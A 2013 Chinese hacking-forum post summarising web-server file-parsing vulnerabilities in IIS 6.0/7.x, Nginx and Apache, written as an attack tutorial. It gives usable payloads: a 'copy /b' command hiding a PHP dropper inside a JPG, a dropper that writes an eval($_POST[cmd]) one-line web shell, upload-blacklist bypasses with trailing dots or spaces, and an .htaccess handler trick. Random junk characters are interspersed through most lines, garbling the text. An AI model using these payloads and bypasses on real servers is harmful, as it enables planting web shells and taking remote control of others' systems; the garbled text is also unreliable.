找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2702|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain
9 e, x  L! ~1 w. T' m[+]IIS6.00 L: z' ^; I8 s" J8 ~+ z% ~
$ ~5 X; G* y& x
目录解析:/xx.asp/xx.jpg
# {' M( _3 W0 |# T. c xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码
/ |# m3 n0 H0 m" Z# a4 u" ~! [' w IIS6.0 会将 xx.jpg 解析为 asp 文件。1 J- o; Z# G4 a+ s  ~% Y* C6 z
后缀解析:/xx.asp;.jpg     
' }) }# t" W+ ]8 Q6 p5 e" {, ] IIS6.0 都会把此类后缀文件成功解析为 asp 文件。/ d# B. L7 H* H0 L) D
默认解析:/xx.asa2 I! [% a6 v# X+ S2 P' a& [
         /xx.cer. M/ Z  ]+ o. a, _0 r# n0 l
         /xx.cdx7 {7 B! ^: h8 b8 {* y& K8 K
IIS6.0 默认的可执行文件除了 asp 还包含这三种
( N# w4 r) X' o; j 此处可联系利用目录解析漏洞 ) g- ]: C( U- L! X- R: y
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
+ E" n3 P# r* [3 i4 W[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
1 N- P0 }" ?. m; J9 Y+ H5 u7 Y$ `
2 W# C( A0 {; F( u, n IIS 7.0/IIS 7.5/Nginx <0.8.03
6 s4 [: c- ?. J: E 在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面8 f+ {2 R& N* v' H( f. m5 ]3 q6 X
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。/ R6 h1 L  {, E! R0 l! G& _
常用利用方法:# h0 m' h- A+ w- J
将一张图和一个写入后门代码的文本文件合并将恶意文本: a0 P: `! `* n/ m1 x
写入图片的二进制代码之后,避免破坏图片文件头和尾
- n/ s1 E7 C( d+ W* X 如:
! t& O  l5 h: s( v copy xx.jpg /b + yy.txt/a xy.jpg
! a! R6 {0 S: b2 U9 }+ j4 |  q #########################################################
# {+ Q# Q1 b$ X8 w% [. s: G- u /b 即二进制[binary]模式8 A8 B8 t- \' b# v: k
/a 即ascii模式
1 A4 Q  ^2 b- X xx.jpg 正常图片文件5 h  C8 s  E# H5 ^) m: M
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),1 x; b+ Q" [4 g1 x
'<?php eval($_POST[cmd])?>');?>; D# v9 u) G* j6 `
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
* \5 [7 n/ h: |- E& _. E 为shell.php的文件; @  I% {3 `9 f6 K# _8 x
###########################################################; h0 K; W5 K) {6 h! p
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
0 H( P0 E% ?+ l- K. l+ f 即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php & g. o) ~: D3 w3 o" l
密码 cmd7 z$ U  V6 ^; D2 `
[+]Nginx <0.8.030 Q* v+ \$ M8 W, Q
  k) L: R2 O& J5 K1 c" d
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞' w' }- m, k, a( j
在一个文件路径(/xx.jpg)后面加上%00.php
- c# I. l3 P- A$ ^ 会将 /xx.jpg%00.php 解析为 php 文件。
$ |2 N% T- p& `; F1 Q; Z[+]Apache<0.8.03
. t- y. z/ ?7 v / f( G& b6 B0 l; [6 B8 E
后缀解析:test.php.x1.x2.x34 ^5 g$ s: n$ k5 N/ s% v
Apache将从右至左开始判断后缀,若x3非可识别后缀,
) {" I) `# a8 ]4 s/ D 再判断x2,直到找到可识别后缀为止,然后将该可识别
' Q& R( \" h! X  x' T 后缀进解析test.php.x1.x2.x3 则会被解析为php/ o! y9 U% R$ R2 E; @, h$ |
经验之谈:php|php3|phtml 多可被Apache解析。+ I* E9 `/ v9 C- J+ f  S( N
[+]其他一些可利用的
2 w( v$ \" m, H  E& t1 ~ 4 C% w( I% a8 [. A2 |
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
+ r* a$ @3 k# p" x若这样命名,windows会默认除去空格或点,这也是可以被利用的!
6 z& I. T2 @% [0 |3 l; j8 X在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格6 T+ ^6 ]' z1 G8 x+ o/ C2 s+ i3 R
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可- i* D! o, c/ b0 x) w
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
, A# f3 ]/ e1 u. Z{Linux主机中不行,Linux允许这类文件存在}
- }1 n' i8 p9 H: Y4 F' z如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
1 }0 ^+ [1 d/ r% ?1 c/ W9 d, X的,当初我并不知道),且可以被上传,那可以尝试在
! c1 y! Q9 R7 [" d( L0 P5 K.htaccess中写入:( ?# s3 F3 q7 @. R3 w3 ?3 z' m
<FilesMatch “shell.jpg”>
# n, f" h9 o# y1 a3 HSetHandler application/x-httpd-php
! ~5 _6 e2 }$ `- o</FilesMatch>
& T1 g; m0 e* y1 @! Ushell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件" V, E' s. S/ D2 C
[+]错误修改
. q7 h3 t) a; Z% o 5 \  b  y0 B7 R0 F+ O" @; q: d
在 IIS 6.0 下可解析 /xx.asp:.jpg
9 E4 ?5 |) k. M{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
' [8 S" Y3 l! o0 `5 L; ^7 `剩下/xx.asp}修改:
& N* E! X: x2 B9 f+ b先谢谢核攻击的提醒" S2 K8 }5 i6 j! q
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
+ l  n! L. n6 h. `里是没有任何内容的,因为。。不好解释 大家自己看( Z4 E/ U$ K2 R
http://lcx.cc/?i=2448
$ O- R: O2 ^% ~3 g7 P# O+ vhttp://baike.baidu.com/view/3619593.htm
# ^1 }/ l- g" a4 |
8 C- r4 A% g1 U# y3 i
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表